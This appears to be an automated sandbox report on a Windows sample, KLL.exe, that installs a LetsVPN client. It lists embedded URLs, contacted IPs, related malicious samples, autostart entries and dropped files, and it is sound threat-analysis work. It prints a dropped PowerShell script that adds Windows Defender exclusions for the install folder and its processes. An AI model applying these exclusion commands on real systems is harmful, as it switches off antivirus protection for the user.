http://crl.certum.pl/ctnca.crl0k	KLL.exe, 00000000.00000000.2056290206.00007FF7B0EDA000.00000008.00000001.01000000.00000003.sdmp, KLL.exe, 00000000.00000002.2219203323.00007FF7B0EDA000.00000008.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	LetsPRO.exe, 00000037.00000002.3917356410.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://intercom.help/letsvpn-world/en/articles/2926044-what-if-i-reached-maximum-connection-limit	LetsPRO.exe, 00000037.00000000.2600482971.0000000000242000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/CommunityToolkit/dotnet	LetsPRO.exe, 00000037.00000002.3948003758.0000000005B22000.00000002.00000001.01000000.0000001E.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/dotnet/corefx/tree/7601f4f6225089ffb291dc7d58293c7bbf5c5d4f	LetsPRO.exe, 00000037.00000002.3948725743.0000000005BD2000.00000002.00000001.01000000.00000022.sdmp, System.Threading.Tasks.Extensions.dll.18.dr	false	Avira URL Cloud: safe	unknown
http://foo/bar/themes/radiobuttondictionary.bamld	LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	LetsPRO.exe, 00000037.00000002.3935793905.0000000003BD6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.ver)	svchost.exe, 0000000C.00000002.3912339118.0000028616400000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/bar/themes/appmenudictionary.bamld	LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.github.com/#	Squirrel.dll.18.dr	false	Avira URL Cloud: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	letsvpn-latest.exe, 00000012.00000002.2600742233.000000000040A000.00000004.00000001.01000000.0000000D.sdmp, letsvpn-latest.exe, 00000012.00000000.2208899092.000000000040A000.00000008.00000001.01000000.0000000D.sdmp, letsvpn-latest.exe, 00000012.00000003.2536155184.0000000000700000.00000004.00000020.00020000.00000000.sdmp, letsvpn-latest.exe.0.dr	false	URL Reputation: safe	unknown
http://www.symauth.com/cps0(	uc_ctrl.exe, 00000010.00000003.2193664495.00000000010FE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://defaultcontainer/LetsPRO;component/Themes/TextBoxDictionary.xamld	LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	LetsPRO.exe, 00000037.00000002.3917356410.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/Themes/WindowDictionary.xaml	LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E14000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://defaultcontainer/LetsPRO;component/Themes/TextBoxDictionary.xaml	LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.catcert.net/verarrel	LetsPRO.exe, 00000037.00000002.3959647061.000000002FBDE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.symauth.com/rpa00	uc_ctrl.exe, 00000010.00000003.2193664495.00000000010FE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://intercom.help/letsvpn-world/en/articles/2925752-how-to-download-letsvpn	LetsPRO.exe, 00000037.00000000.2600482971.0000000000242000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
https://nit.crash1ytics.com/app32/device	LetsPRO.exe, 00000037.00000002.3954054441.000000000F120000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000019.00000002.2447853373.00000000049B6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.3917356410.0000000002D5A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.newtonsoft.com/jsonschema	LetsPRO.exe, 00000044.00000002.2771481976.0000000005BD2000.00000002.00000001.01000000.0000001D.sdmp	false	URL Reputation: safe	unknown
https://postPost67.137.174.254	LetsPRO.exe, 00000037.00000002.3956362568.000000000F278000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://intercom.help/letsvpn-world/en/articles/2780068-%E5%A6%82%E4%BD%95%E4%B8%8B%E8%BD%BD%E5%BE%9	LetsPRO.exe, 00000037.00000000.2600482971.0000000000242000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
http://defaultcontainer/LetsPRO;component/Themes/ScrollViewDictionary.xaml	LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E14000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://WSASend0.0.0.0%2F0debugWSARecvl	LetsPRO.exe, 00000037.00000002.3951347123.000000000F022000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/dotnet/corefx/tree/7601f4f6225089ffb291dc7d58293c7bbf5c5d4f8	LetsPRO.exe, 00000037.00000002.3948777969.0000000005BD6000.00000002.00000001.01000000.00000022.sdmp, System.Threading.Tasks.Extensions.dll.18.dr	false	Avira URL Cloud: safe	unknown
https://intercom.help/letsvpn-world/en/collections/1628560-help-documents	LetsPRO.exe, 00000037.00000002.3917356410.0000000002821000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000000.2600482971.0000000000242000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
https://www.cnblogs.com/kliine/p/10950992.html	LetsPRO.exe, 00000048.00000002.2841468405.0000000002CE9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://repository.certum.pl/cscasha2.cer0	KLL.exe, 00000000.00000000.2056290206.00007FF7B0EDA000.00000008.00000001.01000000.00000003.sdmp, KLL.exe, 00000000.00000002.2219203323.00007FF7B0EDA000.00000008.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.sectigo.com0	System.Configuration.ConfigurationManager.dll.18.dr	false	URL Reputation: safe	unknown
https://letsvpn.world/terms.html	LetsPRO.exe, 00000037.00000000.2600482971.0000000000242000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
http://defaultcontainer/LetsPRO;component/Themes/RadioButtonDictionary.xamld	LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/app.xamld	LetsPRO.exe, 00000044.00000002.2764707557.00000000031F5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035DB000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002DF5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/bar/app.bamld	LetsPRO.exe, 00000044.00000002.2764707557.00000000031F5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035DB000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E0D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	LetsPRO.exe, 00000037.00000002.3935793905.0000000003BD6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://defaultcontainer/LetsPRO;component/Themes/AppMenuDictionary.xaml	LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://defaultcontainer/LetsPRO;component/Themes/WindowDictionary.xamld	LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E14000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/bar/themes/radiobuttondictionary.baml	LetsPRO.exe, 00000048.00000002.2841468405.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	KLL.exe, 00000000.00000003.2164620642.00000228028B1000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.2164646962.0000022800C6A000.00000004.00000020.00020000.00000000.sdmp, System.Runtime.dll.18.dr, System.Runtime.CompilerServices.Unsafe.dll.18.dr, System.Threading.Tasks.Extensions.dll.18.dr, Squirrel.dll.18.dr, System.Security.Cryptography.Xml.dll.18.dr, Microsoft.Web.WebView2.Core.dll.18.dr, System.Console.dll.18.dr, MdXaml.dll.18.dr, System.IO.Ports.dll.18.dr, System.Linq.Parallel.dll.18.dr, System.Security.AccessControl.dll.18.dr, System.ComponentModel.EventBasedAsync.dll.18.dr, System.IO.FileSystem.DriveInfo.dll.18.dr, Microsoft.Web.WebView2.Wpf.dll.18.dr, System.ComponentModel.dll.18.dr, SQLitePCLRaw.nativelibrary.dll.18.dr, SQLitePCLRaw.core.dll.18.dr, System.Memory.dll.18.dr, System.Web.Services.Description.resources.dll4.18.dr	false	URL Reputation: safe	unknown
https://intercom.help/letsvpn-world/-N	letsvpn-latest.exe, 00000012.00000002.2601085872.000000000069B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://letsvpn.world/privacy.html	LetsPRO.exe, 00000037.00000000.2600482971.0000000000242000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/dotnet/runtime	System.Security.Cryptography.Xml.dll.18.dr, System.IO.Ports.dll.18.dr, System.Security.AccessControl.dll.18.dr, System.Configuration.ConfigurationManager.dll.18.dr	false	Avira URL Cloud: safe	unknown
http://foo/bar/themes/buttondictionary.baml	LetsPRO.exe, 00000048.00000002.2841468405.0000000002E14000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://repository.certum.pl/ctnca.cer0	KLL.exe, 00000000.00000000.2056290206.00007FF7B0EDA000.00000008.00000001.01000000.00000003.sdmp, KLL.exe, 00000000.00000002.2219203323.00007FF7B0EDA000.00000008.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/Themes/ScrollViewDictionary.xaml	LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E14000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://in.appcenter.ms/logs?api-version=1.0.0	LetsPRO.exe, 00000037.00000002.3917356410.0000000002B75000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.3917356410.0000000002A6F000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.4025986389.000000003A308000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
18.139.183.38	socket-ap1-ingress-1471706552.ap-southeast-1.elb.amazonaws.com	United States	16509	AMAZON-02US	false
183.60.146.66	unknown	China	134763	CT-DONGGUAN-IDCCHINANETGuangdongprovincenetworkCN	false
5.255.255.77	yandex.com	Russian Federation	13238	YANDEXRU	false
35.227.223.56	unknown	United States	15169	GOOGLEUS	false
154.204.0.4	unknown	Seychelles	134548	DXTL-HKDXTLTseungKwanOServiceHK	true
142.250.185.100	www.google.com	United States	15169	GOOGLEUS	false
103.235.46.96	www.wshifen.com	Hong Kong	55967	BAIDUBeijingBaiduNetcomScienceandTechnologyCoLtd	false
23.98.101.155	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
108.138.24.227	d1dmgcawtbm6l9.cloudfront.net	United States	16509	AMAZON-02US	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1477193
Start date and time:	2024-07-20 11:51:25 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 13m 41s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	74
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	KLL.exe
Detection:	MAL
Classification:	mal54.spre.troj.spyw.evad.winEXE@100/286@9/10
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 52% Number of executed functions: 45 Number of non-executed functions: 425
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, consent.exe, WMIADAP.exe, SIHClient.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.90.27, 2.23.209.150, 2.23.209.130, 2.23.209.135, 2.23.209.149, 2.23.209.158, 2.23.209.179, 2.23.209.176, 2.23.209.189, 2.23.209.177, 4.152.45.235
Excluded domains from analysis (whitelisted): www.bing.com, fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, www-www.bing.com.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, in2-gw2-02-3d6c3051.eastus2.cloudapp.azure.com, e86303.dscx.akamaiedge.net, in-prod-pme-eastus2-ingestion-66ddb56a.trafficmanager.net, ocsp.digicert.com, www.bing.com.edgekey.net, e16604.g.akamaiedge.net, prod.fs.microsoft.com.akadns.net
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtEnumerateValueKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: KLL.exe

Simulations

Behavior and APIs

Time	Type	Description
05:53:10	API Interceptor	4903116x Sleep call for process: uc_ctrl.exe modified
05:54:05	API Interceptor	1143633x Sleep call for process: LetsPRO.exe modified
11:53:17	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run LetsPRO "C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe" /silent
11:53:25	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run LetsPRO "C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe" /silent

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
183.60.146.66	KLL_1.exe	Get hash	malicious	Unknown	Browse
	lets-test.msi	Get hash	malicious	Unknown	Browse
	zx.exe	Get hash	malicious	Unknown	Browse
	zx.exe	Get hash	malicious	Unknown	Browse
	zx.exe	Get hash	malicious	Unknown	Browse
	zx.exe	Get hash	malicious	Unknown	Browse
	zx.exe	Get hash	malicious	Unknown	Browse
	zx.exe	Get hash	malicious	Unknown	Browse
5.255.255.77	KLL_1.exe	Get hash	malicious	Unknown	Browse
	https://uitp5vcr.paperform.co/	Get hash	malicious	HTMLPhisher	Browse
	jonathan.cody e-Doc File_014216.docx	Get hash	malicious	HTMLPhisher	Browse
	Magmutual-Contractual-Agreement-usqe-276342429-.docx	Get hash	malicious	HTMLPhisher	Browse
	https://sites.google.com/view/dcnoterialsecu/accueil	Get hash	malicious	Unknown	Browse
	Memo98767_innocap.com.htm	Get hash	malicious	HTMLPhisher	Browse
	https://cw08037.tw1.ru/oro/messagerie.php	Get hash	malicious	Unknown	Browse
	http://9yhbs.contnova.srv.br/#X7	Get hash	malicious	Unknown	Browse
	http://marketplace-item-details-6472534712.zya.me/	Get hash	malicious	HTMLPhisher	Browse
	ATT001_PlayVM.html	Get hash	malicious	Unknown	Browse
154.204.0.4	zx.exe	Get hash	malicious	Unknown	Browse	154.204.0.4:15628/\
154.204.0.4	zx.exe	Get hash	malicious	Unknown	Browse	154.204.0.4:15628/\
103.235.46.96	6o63snaetO.exe	Get hash	malicious	Unknown	Browse	www.baidu.com/
	http://metamask-zhwallet.org/	Get hash	malicious	Unknown	Browse	www.baidu.com/img/flexible/logo/plus_logo_web_2.png
	Tas10.dll	Get hash	malicious	BlackMoon	Browse	www.baidu.com/
	Tas8.dll	Get hash	malicious	BlackMoon	Browse	www.baidu.com/
	Tas8_WL.dll	Get hash	malicious	BlackMoon	Browse	www.baidu.com/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
d1dmgcawtbm6l9.cloudfront.net	KLL_1.exe	Get hash	malicious	Unknown	Browse	108.138.24.115
	lets-test.msi	Get hash	malicious	Unknown	Browse	3.164.160.102
	zx.exe	Get hash	malicious	Unknown	Browse	18.239.15.216
	zx.exe	Get hash	malicious	Unknown	Browse	3.164.160.24
	zx.exe	Get hash	malicious	Unknown	Browse	108.138.24.13
	zx.exe	Get hash	malicious	Unknown	Browse	108.138.24.227
	zx.exe	Get hash	malicious	Unknown	Browse	18.154.80.50
	zx.exe	Get hash	malicious	Unknown	Browse	18.239.15.44
www.wshifen.com	#U65b9#U6848#U7f16#U53f7FAI2-#U7b2c#U4e8c#U6279#U6b21(1).exe	Get hash	malicious	Unknown	Browse	103.235.47.188
	KLL_1.exe	Get hash	malicious	Unknown	Browse	103.235.46.96
	lets-test.msi	Get hash	malicious	Unknown	Browse	103.235.46.96
	yG5JwI8M2H.exe	Get hash	malicious	Unknown	Browse	103.235.47.188
	AAq2b5KtWK.exe	Get hash	malicious	Unknown	Browse	103.235.46.96
	zx.exe	Get hash	malicious	Unknown	Browse	103.235.46.96
	zx.exe	Get hash	malicious	Unknown	Browse	103.235.46.96
	zx.exe	Get hash	malicious	Unknown	Browse	103.235.46.96
	zx.exe	Get hash	malicious	Unknown	Browse	103.235.47.188
socket-ap1-ingress-1471706552.ap-southeast-1.elb.amazonaws.com	KLL_1.exe	Get hash	malicious	Unknown	Browse	18.136.78.90
	lets-test.msi	Get hash	malicious	Unknown	Browse	54.169.168.67
	zx.exe	Get hash	malicious	Unknown	Browse	52.220.169.49
	zx.exe	Get hash	malicious	Unknown	Browse	52.220.169.49
	zx.exe	Get hash	malicious	Unknown	Browse	52.220.169.49
	zx.exe	Get hash	malicious	Unknown	Browse	54.169.173.39
	zx.exe	Get hash	malicious	Unknown	Browse	52.74.233.99
	zx.exe	Get hash	malicious	Unknown	Browse	18.139.109.75
nal.fqoqehwib.com	KLL_1.exe	Get hash	malicious	Unknown	Browse	10.176.38.125
	lets-test.msi	Get hash	malicious	Unknown	Browse	104.112.172.245
	zx.exe	Get hash	malicious	Unknown	Browse	33.86.72.19
	zx.exe	Get hash	malicious	Unknown	Browse	99.34.124.121
	zx.exe	Get hash	malicious	Unknown	Browse	99.34.124.121
	zx.exe	Get hash	malicious	Unknown	Browse	99.34.124.121
	zx.exe	Get hash	malicious	Unknown	Browse	104.112.172.245
	zx.exe	Get hash	malicious	Unknown	Browse	10.176.38.125

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CT-DONGGUAN-IDCCHINANETGuangdongprovincenetworkCN	KLL_1.exe	Get hash	malicious	Unknown	Browse	183.60.146.66
	SecuriteInfo.com.not-a-virus.HEUR.Downloader.Win32.Duba.gen.28830.27730.exe	Get hash	malicious	Unknown	Browse	183.61.243.1
	lets-test.msi	Get hash	malicious	Unknown	Browse	183.60.146.66
	zx.exe	Get hash	malicious	Unknown	Browse	183.60.146.66
	zx.exe	Get hash	malicious	Unknown	Browse	183.60.146.66
	zx.exe	Get hash	malicious	Unknown	Browse	183.60.146.66
	zx.exe	Get hash	malicious	Unknown	Browse	183.60.146.66
	y7cm9CKSN9.elf	Get hash	malicious	Mirai	Browse	42.157.152.230
	zx.exe	Get hash	malicious	Unknown	Browse	183.60.146.66
AMAZON-02US	file.exe	Get hash	malicious	Unknown	Browse	143.204.215.122
	KLL_1.exe	Get hash	malicious	Unknown	Browse	18.136.78.90
	92.249.48.47-skid.arm7-2024-07-20T09_04_19.elf	Get hash	malicious	Mirai, Moobot	Browse	18.255.31.158
	file.exe	Get hash	malicious	Unknown	Browse	143.204.215.115
	file.exe	Get hash	malicious	Unknown	Browse	143.204.215.18
	92.249.48.47-skid.x86-2024-07-20T09_04_17.elf	Get hash	malicious	Mirai, Moobot	Browse	54.119.165.70
	92.249.48.47-skid.sh4-2024-07-20T09_04_17.elf	Get hash	malicious	Mirai, Moobot	Browse	54.182.178.103
	file.exe	Get hash	malicious	Unknown	Browse	143.204.215.122
	file.exe	Get hash	malicious	Unknown	Browse	143.204.215.115
YANDEXRU	KLL_1.exe	Get hash	malicious	Unknown	Browse	5.255.255.77
	https://uitp5vcr.paperform.co/	Get hash	malicious	HTMLPhisher	Browse	5.255.255.77
	kz7iLmqRuq.exe	Get hash	malicious	Quasar	Browse	93.158.155.18
	jonathan.cody e-Doc File_014216.docx	Get hash	malicious	HTMLPhisher	Browse	77.88.44.55
	lets-test.msi	Get hash	malicious	Unknown	Browse	77.88.55.88
	Magmutual-Contractual-Agreement-usqe-276342429-.docx	Get hash	malicious	HTMLPhisher	Browse	77.88.44.55
	Scanner_SKME092878673568739809289728639802765768729809208.pdf	Get hash	malicious	Unknown	Browse	87.250.251.119
	https://1drv.ms/o/s!AhamKbFAgjbffS1Sylq61px7DxI?e=AvRhOV	Get hash	malicious	SharepointPhisher	Browse	93.158.134.119
	zx.exe	Get hash	malicious	Unknown	Browse	77.88.44.55
DXTL-HKDXTLTseungKwanOServiceHK	SC61092U5IO.exe	Get hash	malicious	FormBook	Browse	154.214.114.86
	LSW7109326UNI0.exe	Get hash	malicious	FormBook	Browse	154.214.114.86
	Fatura20240617.exe	Get hash	malicious	FormBook	Browse	154.214.114.86
	SC61092U5IO.exe	Get hash	malicious	FormBook	Browse	154.214.114.86
	zx.exe	Get hash	malicious	Unknown	Browse	154.204.0.4
	zx.exe	Get hash	malicious	Unknown	Browse	154.204.0.4
	zx.exe	Get hash	malicious	Unknown	Browse	154.204.0.7
	zx.exe	Get hash	malicious	Unknown	Browse	154.204.0.7
	botx.arm.elf	Get hash	malicious	Mirai	Browse	154.214.177.50

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Program Files (x86)\letsvpn\LetsPRO.exe	KLL_1.exe	Get hash	malicious	Unknown	Browse
	KuaiVpn-n.msi	Get hash	malicious	Unknown	Browse
	zx.exe	Get hash	malicious	Unknown	Browse
	zx.exe	Get hash	malicious	Unknown	Browse
	zx.exe	Get hash	malicious	Unknown	Browse
	zx.exe	Get hash	malicious	Unknown	Browse
	zx.exe	Get hash	malicious	Unknown	Browse
	zx.exe	Get hash	malicious	Unknown	Browse
C:\Program Files (x86)\letsvpn\Update.exe	KLL_1.exe	Get hash	malicious	Unknown	Browse
	KuaiVpn-n.msi	Get hash	malicious	Unknown	Browse
	zx.exe	Get hash	malicious	Unknown	Browse
	zx.exe	Get hash	malicious	Unknown	Browse
	zx.exe	Get hash	malicious	Unknown	Browse
	zx.exe	Get hash	malicious	Unknown	Browse
	zx.exe	Get hash	malicious	Unknown	Browse
	zx.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Program Files (x86)\letsvpn\AddWindowsSecurityExclusion.ps1

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	318
Entropy (8bit):	4.740682303463164
Encrypted:	false
SSDEEP:	6:IPeGgdEYC5BeGgdEEFmJovkBPeGgdEEFrGvkBPeGgdEEFwn0ZkBPeGgdEEFQr4MF:ISuFAuEcJxSuEJGQSuEyPSuESr1SuE6
MD5:	B34636A4E04DE02D079BA7325E7565F0
SHA1:	F32C1211EAC22409BB195415CB5A8063431F75CD
SHA-256:	A9901397D39C0FC74ADFDB95DD5F95C3A14DEF3F9D58EF44AB45FC74A56D46DF
SHA-512:	6EB3255E3C89E2894F0085095FB5F6AB97349F0ED63C267820C82916F43A0AC014A94F98C186FF5D54806469A00C3C700A34D26DE90AFB090B80AC824A05AA2F
Malicious:	false
Preview:	Add-MpPreference -ExclusionPath "C:\Program Files (x86)\letsvpn"..Add-MpPreference -ExclusionProcess "LetsPRO.exe"..Add-MpPreference -ExclusionProcess "tapinstall.exe"..Add-MpPreference -ExclusionProcess "uninst.exe"..Add-MpPreference -ExclusionProcess "Update.exe"..Add-MpPreference -ExclusionProcess "ndp462-web.exe"

C:\Program Files (x86)\letsvpn\LetsPRO.exe

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	247272
Entropy (8bit):	6.894684781286516
Encrypted:	false
SSDEEP:	6144:eZzvhs2Z4n1E7g34XtVYAOfTdxz44JsQwOURhw:eJ+2Z4nShVY5HUEUnw
MD5:	8FC872149F0B8D2FB3D75C4076C0A8CA
SHA1:	D31CF6784649D805F7A994C9E9B72FFB2E1920DC
SHA-256:	869448B4FCD15473FE4FDC9DBBF05FCFA154B854231CCE94858B4BD7B196C13A
SHA-512:	77A225866574C2AE296E61DB1AEFD193D5766A1DF0E5B36C7BAC657958BDFDC7CCFFF85FE2B3E7CCBBDB482EE82B1FABC753042494B16BE0DF74EA96D87E65C6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: KLL_1.exe, Detection: malicious, Browse Filename: KuaiVpn-n.msi, Detection: malicious, Browse Filename: zx.exe, Detection: malicious, Browse Filename: zx.exe, Detection: malicious, Browse Filename: zx.exe, Detection: malicious, Browse Filename: zx.exe, Detection: malicious, Browse Filename: zx.exe, Detection: malicious, Browse Filename: zx.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........e..O.S.O.S.O.S.).R.O.S.).R.O.S.).R.O.S.'.R.O.S.'.R.O.S.'.R.O.S.).R.O.S.O.S.O.S5&.R.O.S5&.S.O.S.O.S.O.S5&.R.O.SRich.O.S........................PE..L.....p_............................+.............@.......................................@.....................................<.......L................+.......!......p...............................@...............,............................text...8........................... ..`.rdata..V...........................@..@.data....#..........................@....rsrc...L...........................@..@.reloc...!......."...x..............@..B........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\letsvpn\Update.exe

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
